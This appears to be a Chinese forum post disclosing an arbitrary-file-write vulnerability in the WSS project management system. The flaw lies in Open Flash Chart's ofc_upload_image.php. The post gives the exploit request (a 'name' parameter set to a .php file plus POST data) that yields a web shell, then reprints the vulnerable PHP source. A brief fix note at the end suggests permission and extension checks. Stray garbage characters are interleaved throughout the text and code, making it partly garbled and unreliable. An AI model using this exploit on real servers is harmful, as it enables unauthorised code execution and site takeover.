WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
, S9 K- p# P6 ~ 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

  ]& B0 e  h$ l3 P+ x6 ]Post任意数据
8 @! J8 Z* t8 d保存位置http://localhost/chart/tmp-upload-images/hfy.php
) d, }3 n6 I2 ~% p3 _, o

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
0 P. D) [3 [9 F0 i
) Y/ ^7 i, u0 n) l4 @% `//
// In Open Flash Chart -> save_image debug mode, you
: y  o/ c/ N, T8 g0 _; D// will see the 'echo' text in a new window.
//
6 q% I2 c+ H' N9 p9 D4 ]  x
4 L5 r0 Y/ L* ]. r( P7 C1 o8 E/*

print_r( $_GET );
print_r( $_POST );
print_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

' ~4 b6 p' Y7 U2 q8 V# m+ U*/
: Q$ @+ ?+ J0 L8 t9 Z: \& \# L// default path for the image to be stored //
* l. x9 {! s+ V) d; I$default_path = '../tmp-upload-images/';
' l+ F# q9 j3 t, N- T1 n
9 c5 J/ l' S) r" lif (!file_exists($default_path)) mkdir($default_path, 0777, true);

7 V  l9 j. g8 {) q; ~" ]4 m4 h& p// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
1 {$ W! J4 J$ i* A: b  L% ^8 U
0 s0 Z- m( K+ Q$ Hecho 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
& n9 V$ Q. t7 Q% B4 N8 k) k// echo $HTTP_RAW_POST_DATA;

! |/ A# e+ c0 y9 |+ |# L//
5 ]% |7 C! S- @8 c6 x7 ~// POST data is usually string data, but we are passing a RAW .png
' S2 R( a+ f2 _3 K1 i7 }( i8 M9 d// so PHP is a bit confused and $_POST is empty. But it has saved
% K8 [! B( m+ j/ T4 R// the raw bits into $HTTP_RAW_POST_DATA
7 [# Y# J7 s5 H( \, A//

: T0 e  A% X' ]4 k: a9 S2 o# f1 `$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

5 d3 X3 d% B6 ~. w/ W//
// LOOK:
//
exit();
//
& j0 t0 ]$ U7 E) ]$ U4 \$ T" u// PHP5:
//
" V: }+ h3 U/ c- J1 N& F7 s
  ^; |9 h# _& [# a( K6 ]
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
$ `7 i7 M% c+ y' r9 y- d
" l% Y1 w3 w5 h2 E4 Fif (!file_exists($default_path)) mkdir($default_path, 0777, true);
6 w: l" L5 m, k$ d3 M+ w: l
! r5 h+ f( u' y" C; i3 z* P& l% B// full path to the saved image including filename //
+ T! S' g! W9 V$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
3 S* }& |* \, e4 t% h0 L3 W
7 C# E" o8 R4 H4 m) F9 P- B// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
  ?0 ~3 f+ A# ?4 y  v, M    echo "FILE UPLOAD FAILED";
: b4 ?& E: g. m/ w}
; {( [# N% r4 \. X9 R
# V3 e7 B! m4 j1 R4 ?) W
?>



2 e6 ]7 H$ N# W3 c) c! z! F2 I$ e


修复方案：
5 M( [, X9 G- B6 K这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


0 [% X( _! a) s! z
7 F, C1 N5 o' D3 c% a! f4 U+ V